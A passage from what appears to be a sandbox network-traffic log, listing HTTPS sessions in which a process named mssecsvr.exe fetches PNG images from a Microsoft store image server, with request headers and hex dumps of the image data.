2022-07-20 04:05:56 UTC	294	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 Data Ascii: PNGIHDR0tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49751	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:56 UTC	302	OUT	GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:56 UTC	303	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 57945 Content-Type: image/png Last-Modified: Wed, 23 Mar 2022 12:32:12 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5MjdCN0IxQTc" MS-CV: ejMSje+zLkSN72MX.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:56 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:56 UTC	303	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 e2 20 49 44 41 54 78 9c ec bd 77 80 25 47 75 2f fc 3b d5 7d c3 e4 99 9d cd 41 da 55 96 50 ce 12 20 24 81 44 14 98 64 d2 c3 18 13 1c c0 0f 7f 36 f8 19 1b 07 1c 70 8e d8 04 63 8c 03 41 96 8c 79 20 a2 11 22 a3 9c d3 4a 2b 6d ce 93 67 6e ec ee aa f3 fd 51 1d aa bb ab fb de d9 5d 78 46 e8 68 74 b7 bb ba 72 d5 af 4e a8 44 b8 71 16 3f 6c a2 63 1d 1b 47 bf cb 8d 9c d3 fe cd 78 e2 c8 91 76 39 4a 8a a3 a2 63 1a ed d3 f4 14 22 f7 87 1b fd 51 c2 8f 72 38 a1 dc ef d1 e4 a7 24 9e 7c d2 a6 fb 91 a5 f8 34 0e 9f 26 1b 89 63 1c 1f 15 3c 2f 2b 86 4c 40 2e 70 ff e1 51 06 ea 66 d2 7c 74 d9 f8 91 15 e1 69 fa f1 a1 63 0d c2 0c cb 3a fa 18 e8 47 0b bf 12 8a b3 c1 e9 2c 2d 37 Data Ascii: PNGIHDR,," IDATxw%Gu/;}AUP $Dd6pcAy "J+mgnQ]xFhtrNDq?lcGxv9Jc"Qr8$\|4&c</+L@.pQf\|tic:G,-7
2022-07-20 04:05:56 UTC	335	IN	Data Raw: c3 d5 df 7b cb 05 df b8 63 cf 3f 7e 6d db 7e c9 4a 31 bc e0 d4 31 7a fe a9 55 77 81 9d 0a 93 60 7d 9a 40 34 20 45 a3 07 63 58 35 5f 39 ff 8d bf 5f f5 d3 98 5d 4c 9d 82 61 cd 7f 5e c8 8c 5b bc 48 c8 e2 9c 4b 39 65 64 a5 cc 88 6f 22 2a 93 81 bc d2 94 e9 75 66 b4 19 32 53 e9 49 25 43 03 95 83 b0 48 9a b0 3a 6a 38 94 a0 2e f6 53 12 55 2a 78 3a 8a 03 b3 58 6a 8d b4 e7 5f 71 fb c7 b6 1c 7a 34 5c 10 c6 14 fa 63 8c 8c aa d7 fc 2c 4f ac f2 41 04 11 10 1c 26 01 35 a4 3a 5d 0e 02 56 4c 15 97 05 1c 31 3b 54 bb ad ed 5d a0 30 a9 94 e4 e9 03 de 6d 77 23 02 48 bc 3b 90 63 a6 14 75 0b ad ee 39 57 fc 34 aa 83 d0 57 c9 73 b4 67 90 38 9c 99 10 c4 f7 dc 84 d9 e9 30 08 a2 b5 dc 71 61 f3 dd ab 27 02 cd ca 2a 69 cb c8 82 02 52 e4 48 67 c2 19 df 7d c0 bd e7 36 79 d1 b3 a4 d7 f6 Data Ascii: {c?~m~J11zUw`}@4 EcX5_9_]La^[HK9edo"uf2SI%CH:j8.SUx:Xj_qz4\c,OA&5:]VL1;T]0mw#H;cu9W4Wsg80qa'*iRHg}6y
2022-07-20 04:05:56 UTC	343	IN	Data Raw: 55 1a b3 58 fd 95 2f 09 1d 71 e1 24 8b 66 ee 73 d9 d5 9f 38 53 ef 94 ed 82 48 b7 34 23 ba 9a 2b d3 1b 72 2b ca 54 7a b3 45 c5 c5 e4 c8 92 3b f4 89 93 5e 13 27 48 15 27 3c 09 58 93 d2 d7 38 29 7f 6a 5a 2d 75 12 16 c2 49 4a cc 60 0e cb c9 c8 f6 da 70 b6 1f 88 36 f4 22 3c 0c 3b fa 8b 41 31 e5 8e 03 40 d5 35 6a 23 8d a8 bc 35 32 c3 1e 93 52 47 ad 96 e5 6c e6 2a a1 a8 fb 9a 55 94 8d ca 84 6b ba 8f 67 a0 9e 09 9e 81 1f 10 1a 36 33 64 e9 08 91 ee c4 94 88 ee 49 67 8c 21 f7 c3 00 5b 31 85 87 c3 9a 7d 2f 6e 3c 00 46 0f d4 64 ad 99 2c 1a b3 a3 63 d1 14 45 1e 7e 7d 14 9d 8d 2a 4b e6 58 0d 09 bb a7 29 2f db 27 0c 23 35 d2 e5 67 b3 52 cc 12 e5 a2 8a 93 36 3d ac 18 85 a0 ff bb e9 f9 53 f5 49 fd 5d 8c d4 23 8f fa 78 33 a5 4f 43 92 33 0b f9 ee 97 af 93 f4 78 48 f1 ca ed Data Ascii: UX/q$fs8SH4#+r+TzE;^'H'<X8)jZ-uIJ`p6"<;A1@5j#52RGlUkg63dIg![1}/n<Fd,cE~}KX)/'#5gR6=SI]#x3OC3xH
2022-07-20 04:05:56 UTC	359	IN	Data Raw: ca 01 5c 01 5b fa a2 04 5f 42 26 00 58 2c d1 06 4b 2c bf 7b c1 02 b7 91 26 e3 4a 03 e7 d0 0f e8 7a 58 1b cc 44 a9 1b d9 a5 86 89 8b 10 5c 63 55 fa ba c3 da ba e2 1d 03 ed 04 64 0e a6 47 88 9a f9 7c 6b 67 e7 4a d3 58 e7 dc c4 5a e7 1c f3 53 1b 5b b7 9c 39 b8 74 df 25 7a f8 e8 6d 78 f6 31 77 e6 b6 c0 7b fa eb df 7a b0 39 77 77 df be 18 fa 0e b0 2e 1c ae d6 0f 42 5e 0d c0 98 b4 ce 39 4b 04 30 9f 3c de 07 e7 30 ae e1 22 3f 28 c5 e3 1a 3d 02 87 33 8f 78 f4 81 0d e0 c0 f2 c0 35 a0 21 5a 6f d7 4e af 9f f9 ba a1 7f e8 d1 fd 27 fe e9 53 5f f7 7e 43 e4 78 3c 5d aa 69 8d 69 6e b8 fb d9 1f f8 f3 4b cf fc a9 a5 e9 4b c7 ee b9 eb 8b df 37 bd a7 31 8d 03 06 b0 03 7a f0 f0 9e 7b 1f fc 99 3f fc d6 c5 72 cf 8f 91 ca 30 30 22 99 d3 30 13 d4 2a d1 b9 b8 89 0c 64 55 4a d8 f4 Data Ascii: \[_B&X,K,{&JzXD\cUdG\|kgJXZS[9t%zmx1w{z9ww.B^9K0<0"?(=3x5!ZoN'S_~Cx<]iinKK71z{?r00"0*dUJ
2022-07-20 04:05:56 UTC	367	IN	Data Raw: e8 37 a2 ca 65 ae 5e 27 5d df 95 75 c3 b4 3d 4a 0b e8 20 58 12 9e 2a 5c e3 94 53 c1 97 02 52 eb 54 e4 70 64 04 55 fa 2b 19 90 8b aa e3 c7 73 72 4b 27 f5 2a 17 55 81 4b 29 c7 e1 72 a0 7e 61 76 cf 81 ed 4d e6 fc 3f 3d f2 2b 5f 67 9e 76 d6 b7 cf 00 a6 4d 1b 0b cd c4 eb 5e 33 f1 63 33 a6 51 9e 30 86 a3 c6 04 83 13 1b ea c2 02 a7 30 89 3f 9e 07 e5 ac 9f 2a 5c da e6 07 9f fc c9 4f ec 7e 1d 4f 37 dc da 76 22 b0 da 65 26 49 a3 1f 93 fc d7 02 7b 08 2a 51 66 6a 35 6f 94 dd 2b 9d 03 e9 0f c2 c4 7f e3 7d 5c d3 56 9b 34 0e 9c d0 ec 01 54 0a 32 ef 97 b1 4b bb 85 12 fe 28 22 19 cb 33 87 59 31 01 65 cf 47 d4 4e 65 d6 55 97 d0 55 19 2e 32 12 71 63 65 ea 54 2b dd e2 aa 55 ad ab 16 e7 e9 99 15 cb e1 08 71 89 a8 8e 10 9c 3c fb 87 54 28 11 95 df 48 64 c6 4b ac 33 8e af 3c 0e Data Ascii: 7e^']u=J X\SRTpdU+srK'UK)r~avM?=+_gvM^3c3Q00?\O~O7v"e&I{Qfj5o+}\V4T2K("3Y1eGNeUU.2qceT+Uq<T(HdK3<

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49749	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:56 UTC	302	OUT	GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:56 UTC	319	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 64317 Content-Type: image/png Last-Modified: Fri, 29 Apr 2022 10:42:43 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNDRkUxOEI4MTU" MS-CV: hJL5u9fB70qoso/s.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:56 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:56 UTC	319	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 2c a0 03 00 04 00 00 00 01 00 00 01 2c 00 00 00 00 d8 60 82 e7 00 00 40 00 49 44 41 54 78 01 e4 bd 6d cc 75 ed 76 15 b4 df f7 9c 9e 96 7e 9d c2 e9 17 14 fb 0d ad 4d 5b da 83 a5 b6 60 84 46 20 2a 96 60 11 8c 10 a3 89 96 1f 0d 44 8d 7f 1a 7f 98 a8 89 1a 83 09 46 63 fc ab e8 1f 11 4c fc 81 98 aa 29 06 93 86 a4 18 63 a2 10 51 a9 22 04 43 29 1f 8d 4d 69 cf 71 8e 71 8d 31 d7 b8 e6 ba f6 be 9f 93 5a 7a ce db d5 b3 d7 9c 73 cc 31 c6 bc ae b5 f7 5e cf be Data Ascii: PNGIHDR,,y}usRGBDeXIfMMi,,`@IDATxmuv~M[`F `DFcL)cQ"C)Miqq1Zzs1^
2022-07-20 04:05:56 UTC	376	IN	Data Raw: e3 e2 56 d3 fd f6 b0 3e 7c c9 11 f1 94 03 9b 38 fc fc fc 6d bd 2a 58 87 7f a5 3c cc 73 3f d7 a7 1c 96 eb 66 a4 4f 57 35 07 37 2d e0 fe 6d 20 ff 69 8e 78 18 c6 be f6 87 bf a7 e5 1b 54 51 ca 4b 37 ab 82 f3 47 cd 75 53 5b 0b b9 3e 61 f1 05 01 d9 3c bc 53 47 f5 7b 23 c9 1f 9c 6e 05 be e9 02 27 57 75 73 66 bf 0d 95 98 5f d1 b7 ea d6 4e 6e d5 ec 4d 4f 80 85 29 2c d5 e0 3c f5 4c 5e 91 50 ce 1b 13 0c 4f 18 c9 6b da 75 f6 22 e4 fb 6c 2e f1 9c 6d 07 eb 5d 8f 88 75 9c 3c b9 ee e0 6e b5 3c 53 f7 a9 e6 b0 d6 8b 74 5d eb 34 40 4f b3 1d 55 76 20 fe ac 19 7a 0b 78 bd 9f f1 0b f7 fe 26 25 6b af 17 18 f8 38 a8 13 90 fd de c0 a2 f1 9c 5e 01 f7 66 b7 7e 15 5b 5d 82 ae 3b 29 2c f2 cd 13 85 7a 5c 6b e5 93 8a 9a 58 f4 9a d3 c9 e2 44 c9 31 a3 be 6e 20 eb bb 25 8c d4 6f ef f8 c5 Data Ascii: V>\|8m*X<s?fOW57-m ixTQK7GuS[>a<SG{#n'Wusf_NnMO),<L^POku"l.m]u<n<St]4@OUv zx&%k8^f~[];),z\kXD1n %o
2022-07-20 04:05:56 UTC	392	IN	Data Raw: 15 88 b0 d9 48 e8 7d b7 3e 98 8a e8 0d 02 b0 86 df 6e 4a ae 3f 00 91 a1 ed f6 e5 60 db 72 2c 31 1b e6 e4 25 66 c6 01 bc f7 3f d8 a8 04 ef 92 c5 90 58 cd 88 3e 89 32 d7 bf 4b 88 d1 18 1f 4a 1e 9b 7c 8c 6c 30 0d 29 e3 3a e6 2b 0c e0 12 fb cc 79 93 34 3e 95 25 26 d4 d1 13 72 d5 c1 c5 f6 48 8e 6d cf 57 f9 e8 54 71 c5 9f 9c e8 4f 63 3a f0 79 5f f7 f7 46 3e ad 1b ac fc d0 98 be 49 b0 bc e6 8e 7c c3 9b de 7c fb 6b 7f e7 fb 5a 7b 9a 76 07 e6 06 57 db 58 9a 7e b9 8f 52 98 b1 67 96 82 58 f7 74 1b 13 a3 b9 06 1b c4 65 93 50 40 be 5a 90 8d 2b 68 73 99 6a f1 b5 c8 34 43 c0 ca 2b 4b 1c bd 4f 60 8f 2f 2e 83 e4 4f ed e6 69 a7 6b 70 cc 81 4e 7c b8 d1 eb 2d 21 16 58 fc 27 7e a6 39 0e c4 87 e3 3a 07 65 bb 0e cc e1 08 f6 84 69 ae f8 82 9d 04 01 2f dc 54 dd b6 05 39 0a 3b 19 Data Ascii: H}>nJ?`r,1%f?X>2KJ\|l0):+y4>%&rHmWTqOc:y_F>I\|\|kZ{vWX~RgXteP@Z+hsj4C+KO`/.OikpN\|-!X'~9:ei/T9;
2022-07-20 04:05:56 UTC	393	IN	Data Raw: a0 27 87 45 1e cc 16 70 f6 cb 5c f8 7a d8 cc e1 da 87 00 9e bf f9 53 ff c2 d7 aa 5d f4 44 83 b6 74 eb ca d6 f6 f8 d3 4f 63 ca 37 4f 08 0a 64 d1 bd 42 66 5e c4 7f d6 97 7c f3 ed 5b be e7 e9 57 ce d0 da 0c 6f 06 34 b9 7b c4 ec d5 e8 de 62 64 d4 b3 c7 f8 62 c3 7d 59 ba 27 d5 9c 0e cf 61 cd c7 e5 25 26 2f 89 be 56 ae c7 4a 95 06 20 18 e6 d3 48 99 27 e3 2a ed 6d f1 eb 7c d9 b2 c2 bd 3e 74 17 eb 10 48 40 4e 73 c6 de 99 ed 0b 7e 39 c1 67 04 83 1e 73 6c d1 b7 6f e2 e4 b4 3f 33 f1 91 7b 9e 3c e8 7a 79 70 4a 57 7f bb 8c 01 b7 fc 09 6b c8 e1 1b c3 e2 5e b6 e7 50 fc 3b fa dd 57 7f ea cb bf b5 ce 9c be f9 73 c2 dd 4f 5c dd d0 75 ad f8 d5 27 5c 95 6c 4e bc 0d cc 4f 5c 16 1e 1f aa f2 3d f7 17 df f2 e2 ed f7 7c f6 df 94 f4 34 e8 00 4f 29 fc 57 9b d6 ea 89 ec c7 ad 5b bd Data Ascii: 'Ep\zS]DtOc7OdBf^\|[Wo4{bdb}Y'a%&/VJ H'*m\|>tH@Ns~9gslo?3{<zypJWk^P;WsO\u'\lNO\=\|4O)W[
2022-07-20 04:05:56 UTC	409	IN	Data Raw: 54 cd 26 80 c4 55 75 a8 27 2c be c9 34 79 bd 04 da 20 68 66 5c 7c b1 77 aa ff af b5 b3 51 93 24 59 71 ec 77 67 fb fd 1f 79 66 91 e0 60 72 0b 8f a8 ea 9d b5 db e9 80 10 02 37 ff c9 c8 ac ba dd 52 7a ac 3f c5 0f f2 15 64 2d 3e 16 aa e2 c4 e4 7f 19 d1 25 70 b1 a9 83 8f bd 39 fe 1d 96 40 1e 5c f9 fc 98 e6 0d ac 51 1a 3b 0f ae 45 6a 22 d7 79 b4 ca 69 c2 59 f2 cd 51 ce 0f fc 49 76 9f b9 60 86 9f 17 ef a9 93 75 25 ee b0 6f c2 9e ad 1b 7a 8e 43 35 c8 45 ef 59 49 56 af 9a 87 6f f4 5d 9d b3 17 7b de 16 9e c3 bf fd d7 de c4 05 40 aa 86 31 47 4f d1 60 8a dd 57 67 2f 1d 2d 0d 10 ae 31 c7 03 ea 17 ee c5 b1 d6 24 55 42 8d dc ee f3 c4 44 68 e9 dc 4b b1 63 a9 c5 88 b5 7e 01 d1 6f d3 2e a9 28 00 e6 71 b9 f2 9c 8f b9 2b ab c4 20 c7 78 ae e2 77 ed e4 33 1e 68 46 db 42 d7 cd Data Ascii: T&Uu',4y hf\\|wQ$Yqwgyf`r7Rz?d->%p9@\Q;Ej"yiYQIv`u%ozC5EYIVo]{@1GO`Wg/-1$UBDhKc~o.(q+ xw3hFB
2022-07-20 04:05:56 UTC	421	IN	Data Raw: 4d aa 43 fd c3 2c 86 2a c8 e1 55 df 73 c9 0b df e0 c1 5c ab 10 47 56 5f b3 6e 4d 72 1f 37 15 f5 14 96 75 6d f4 d3 40 19 8a 2a 1d 6f 4b d5 5b 73 74 74 51 3c c6 c4 5b 27 8d c1 fc 23 99 49 a3 5b be 79 43 de d9 89 d5 b0 d6 84 6e 90 be e7 1b 3d 93 d0 eb b2 ae 8b 7e 72 b7 3e fc 37 6c 24 96 9f 1c e5 32 7e f3 13 83 2f 2c c7 4d fc f6 89 65 73 a1 8b 55 0e ff b6 e4 d4 93 87 46 98 d6 2f ae 72 7c 99 7c c7 73 12 ab 59 f1 37 3d e1 a2 93 97 1e 3e 39 30 c5 60 dc 33 f4 50 cc bd 77 df cb d4 a1 33 e3 29 b4 9e f2 ac d5 2f c0 75 0c 87 be 70 f9 14 84 35 7f e2 b7 bc 52 c6 a3 9e f9 37 67 0e 4d c5 6e bf 7e 24 04 8c e6 82 bc 26 57 c6 9b 50 5c 0d 79 de 77 f0 ce 58 fc ed ee ae d4 31 74 87 be ec 4e 9b c0 09 50 f0 88 b3 ae 85 07 29 53 b1 b8 7e 39 94 45 9b 0b e9 d3 9b 9a 0f 4d c8 2f 9a Data Ascii: MC,Us\GV_nMr7um@oK[sttQ<['#I[yCn=~r>7l$2~/,MesUF/r\|\|sY7=>90`3Pw3)/up5R7gMn~$&WP\ywX1tNP)S~9EM/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49754	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:56 UTC	423	OUT	GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:56 UTC	423	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 16325 Content-Type: image/png Last-Modified: Fri, 29 Apr 2022 10:42:47 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNEMDAxMzU3OTU" MS-CV: zhWxFSME9UiFbJ9+.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:56 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:56 UTC	424	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 8e a0 03 00 04 00 00 00 01 00 00 00 8e 00 00 00 00 b6 9a 42 80 00 00 3f 2f 49 44 41 54 78 01 cd 9d 59 ac 6d db 51 9e e7 bd f7 b8 37 6e e9 4c 67 dc 80 6d 7a 22 ba 10 9a 00 7e 08 a4 e3 c1 90 28 34 12 e1 21 41 28 4a 88 10 21 02 d2 10 81 02 02 89 80 88 20 0f 09 88 2e 40 12 d1 93 20 08 84 46 01 0c 08 08 04 1b 30 18 6c 82 e9 6d 63 83 fb 9b fa fe aa bf 66 cd b1 e6 3a e7 1a fb 9e ed 71 cf 9a 55 f5 d7 5f 35 6a 8e 51 7b ac b9 f6 de e7 dc 7b b6 6f fa 77 f7 Data Ascii: PNGIHDR0sRGBDeXIfMM*iB?/IDATxYmQ7nLgmz"~(4!A(J! .@ F0lmcf:qU_5jQ{{ow
2022-07-20 04:05:56 UTC	439	IN	Data Raw: c4 3a 8f 63 58 2f eb 92 5e bf c1 25 c6 9c 95 ef 9c f8 ad af 1c de 55 1c ef 39 92 5f ff 13 10 07 57 0e 89 07 82 35 07 a5 6e e4 76 39 9a 1f 24 e9 dc ec 1a bb e4 e9 98 50 dc 80 96 c4 fa ab 8c 79 cd 45 f2 22 fd 5c f0 30 0f 1c db 33 ee 0c 9b 7e eb f0 18 b6 cf e6 c1 e7 97 b9 17 76 dd ef 05 3e 62 db 07 17 23 e4 6c 8a f6 af 31 4b 6e 78 0c f3 0f 72 70 2f 38 c3 e7 98 8b ff 73 80 93 6b 86 71 69 3c 14 f4 c8 d5 1b 79 da 34 0e a8 49 47 aa 5e 6c b0 6e 02 f4 41 ba d0 2b 8f e6 35 77 e4 36 7f ca b9 99 13 67 9a 69 4f dd 3e b0 33 1c 3f 63 fa 56 ee 99 4d 8c ea a9 9a cd 99 d2 79 2f b0 19 c3 02 c4 58 ef 6d c6 f8 8b 69 62 c4 4c db 1c 76 92 4f b8 e9 1b 27 0c 73 06 e8 fd 99 b1 e4 ba 45 84 9c 78 aa 28 61 78 e7 a8 44 86 34 31 31 cb e8 5c 81 cb 6d ce 1a 4f 1c f3 d5 bc fe 4a 32 3d 83 Data Ascii: :cX/^%U9_W5nv9$PyE"\03~v>b#l1Knxrp/8skqi<y4IG^lnA+5w6giO>3?cVMy/XmibLvO'sEx(axD411\mOJ2=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49761	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:56 UTC	440	OUT	GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:56 UTC	440	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 5350 Content-Type: image/png Last-Modified: Fri, 04 Jun 2021 08:47:13 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTkzRDcwQUQ" MS-CV: a3126vjzV0e5osTv.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:56 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:56 UTC	441	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 14 7b 49 44 41 54 78 5e ed 9d 09 78 15 d5 dd c6 c9 06 81 00 21 0b 01 12 b2 90 3d 81 00 05 51 91 45 64 91 55 10 a4 22 8b 02 22 d6 ad ee 68 f5 43 1f 17 6c 6b eb 57 b7 56 11 fc 5c 70 69 7d c4 16 7d 28 da 16 f7 52 45 11 a1 ee 15 10 01 b5 52 10 42 36 b2 cd fb bd ff 99 9b 10 d2 03 4c 92 99 7b e7 de 7b de e7 f9 3d 97 84 64 ce 99 f3 7f 73 ce 99 39 5b 3b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ad b0 56 1c c9 23 63 c9 c5 e4 4e f2 0c 59 4f 3e 21 df 92 72 52 47 40 ea 49 19 f9 8e 7c 4c e4 e7 9e Data Ascii: PNGIHDR0sRGBgAMAapHYsod{IDATx^x!=QEdU""hClkWV\pi}}(RERB6L{{=ds9[;---------------------V#cNYO>!rRG@I\|L

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49773	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:57 UTC	446	OUT	GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:57 UTC	446	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 6001 Content-Type: image/png Last-Modified: Thu, 10 Jun 2021 02:49:21 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNTkzQjkwQjA" MS-CV: yq21NaejzkmnbM2s.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:57 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:57 UTC	447	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 17 06 49 44 41 54 78 5e ed dd 09 b0 9d 65 7d c7 f1 4e 9d e9 4c db a9 62 20 a0 b6 45 71 69 15 15 a1 52 16 2b 8a ad 58 5b 75 da 2a 45 ac a2 16 ad d6 aa 5d 54 46 10 5b b5 56 b1 2e 38 5a a5 b2 24 0a 09 10 b2 27 6c 49 48 42 58 b2 40 02 09 d9 20 24 64 83 2c 64 e5 dc b3 2f f7 fe fb fc 9e 9b 33 05 3c e0 bd c9 79 df f3 fe df f3 fd cf 7c e6 86 2c f7 72 96 f7 77 9e e7 79 9f e5 d7 7e ff da 01 03 00 0f 08 2c 00 6e 10 58 00 dc 20 b0 00 b8 41 60 01 70 83 c0 02 e0 06 81 05 c0 0d 02 0b 80 1b 04 16 00 37 08 2c 00 6e 10 58 Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsodIDATx^e}NLb EqiR+X[u*E]TF[V.8Z$'lIHBX@ $d,d/3<y\|,rwy~,nX A`p7,nX

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49775	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
